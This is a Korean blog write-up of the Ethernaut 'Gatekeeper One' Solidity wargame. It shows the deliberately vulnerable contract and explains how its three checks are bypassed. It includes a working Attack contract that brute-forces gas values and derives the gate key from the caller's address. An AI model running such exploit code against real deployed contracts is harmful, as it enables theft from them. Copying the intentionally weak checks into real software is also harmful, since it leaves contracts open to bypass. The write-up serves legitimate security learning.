티스토리 뷰
1. 문제
문지기(gatekeeper)를 지나서 입장자(entrant)로 등록하라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
2. 해법
지금까지 다뤘던 문제들을 종합하는 중간 점검 단계라고 보시면 됩니다. enter 함수에는 함수 변경자(modifier)가 총 세 개가 붙어있는데, 이 세 개를 뚫고 지나가야 entrant 값을 변경할 수 있습니다. 아래에서 하나씩 차례대로 살펴보도록 하겠습니다.
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
첫 번째 문
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
이전에 다룬 문제에서 동일한 내용을 다룬 적이 있습니다. msg.sender와 tx.origin이 서로 다른 값이 되려면 컨트랙트에서 컨트랙트를 호출하도록 하면 됩니다. 즉, 공격하는 컨트랙트를 작성해야 합니다.
두 번째 문
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
이 부분은 조금 어렵습니다. gasLeft()는 호출시점에서 잔여 가스를 확인합니다. 즉, gateTwo 변경자가 호출되는 시점에서 남은 가스가 8191의 배수여야 합니다. 함수 호출에 필요한 가스를 직접 계산하는 것은 고인물이나 가능한 행위이기 때문에 저희는 무차별 대입을 통해 아래에서 필요한 가스양을 구해보도록 하겠습니다.
세 번째 문
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
8바이트 크기의 _gateKey를 요리조리 타입 캐스팅을 하여 값을 비교해야 합니다.
우선 _gateKey의 각 바이트가 다음과 같다고 가정하겠습니다.
b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7]
_gateKey를 uint32로 캐스팅한 x는 다음과 같이 상위 4바이트가 제거됩니다.
b[4], b[5], b[6], b[7]
_gateKey를 uint16으로 캐스팅한 y는 다음과 같이 상위 6바이트가 제거됩니다.
b[6], b[7]
이 두 개를 비교하면 y의 b[4], b[5] 자리는 0이므로 결국 x의 b[4], b[5] 자리는 0이 되어야 합니다. 따라서 _gateKey는 다음과 같아야 합니다.
b[0], b[1], b[2], b[3], 0, 0, b[6], b[7]
다음으로 x와 uint64로 캐스팅한 _gateKey 두 개의 값이이 서로 달라야 합니다. x의 b[0], b[1], b[2], b[3] 자리는 0이고 나머지는 동일하므로 x와 _gateKey가 서로 다른 값이되려면 b[0], b[1], b[2], b[3]는 0이어서는 안됩니다.
마지막으로 x와 tx.origin을 uint16으로 캐스팅한 값이 동일해야 합니다. 이는 _gateKey를 tx.origin으로부터 계산해야 된다는 의미입니다. 물론 상위 4바이트 중 하나라도 0이 되는 주소는 사용할 수 없지만 바이트 하나가 0이 되는 경우는 극히 드물기 때문에 자신의 지갑 주소를 그대로 사용해도 문제가 없습니다.
결과적으로 _gateKey는 다음 수식으로 구할 수 있습니다.
bytes8(uint64(uint160(msg.sender))) & 0xFFFFFFFF0000FFFF
컨트랙트 배포 및 실행
컨트랙트는 다음과 같이 작성했습니다. hardhat같은 개발도구를 사용해서 로컬에서 테스트를 통해 가스가 얼마나 필요한지 구할 수도 있지만, 어차피 테스트넷이기 때문에 크게 부담이 없으므로 일단 배포를 해 놓고 파라미터를 조정하면서 답을 구하는 식으로 진행했습니다.
contract Attack {
address public gatekeeperOne;
event SuccessOn(uint256 n);
constructor(address _gatekeeperOne) {
gatekeeperOne = _gatekeeperOne;
}
function attack(uint start) public {
bytes8 gateKey = bytes8(uint64(uint160(msg.sender))) &
0xFFFFFFFF0000FFFF;
for (uint i = start; i < start + 100; i++) {
(bool success, ) = gatekeeperOne.call{gas: 8191 * 5 + i}(
abi.encodeWithSignature("enter(bytes8)", gateKey)
);
if (success) {
emit SuccessOn(i);
return;
}
}
revert();
}
}
start부터 시작해서 1씩 늘려가며 반복문을 100회만 반복을 하도록 하였으며, call 메서드를 사용해 호출이 성공하면 성공했을 때의 i를 이벤트로 내보내고 종료하도록 하였습니다.
우선은 GatekeeperOne 인스턴스의 주소를 인수로 사용해 컨트랙트를 배포합니다.
배포가 완료되면 start 값을 조정해가며 attack 함수를 호출합니다. 트랜잭션이 여러 번 실패할 수 있습니다. 이는 어쩔 수 없습니다.
트랜잭션이 컨펌되면 공격이 성공한 것입니다. 출력된 n을 확인하니 256이라고 되어있습니다. 이를 통해 enter 함수를 호출하는데 8191*(x) + 256가스가 필요함을 알 수 있습니다.
인스턴스의 entrant 값을 확인하니 제 지갑 주소로 변경된 것을 확인할 수 있습니다.
인스턴스를 제출하고 마무리합니다.
3. 결론
남은 가스양으로 로직을 제어하는 방법은 쉽게 우회할 수 있으니 가급적 자제합니다.
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 15. Naught Coin (1) | 2024.01.28 |
---|---|
[Ethernaut] 14. Gatekeeper Two (0) | 2024.01.27 |
[Ethernaut] 12. Privacy (1) | 2024.01.24 |
[Ethernaut] 11. Elevator (1) | 2024.01.23 |
[Ethernaut] 10. Re-entrancy (0) | 2024.01.22 |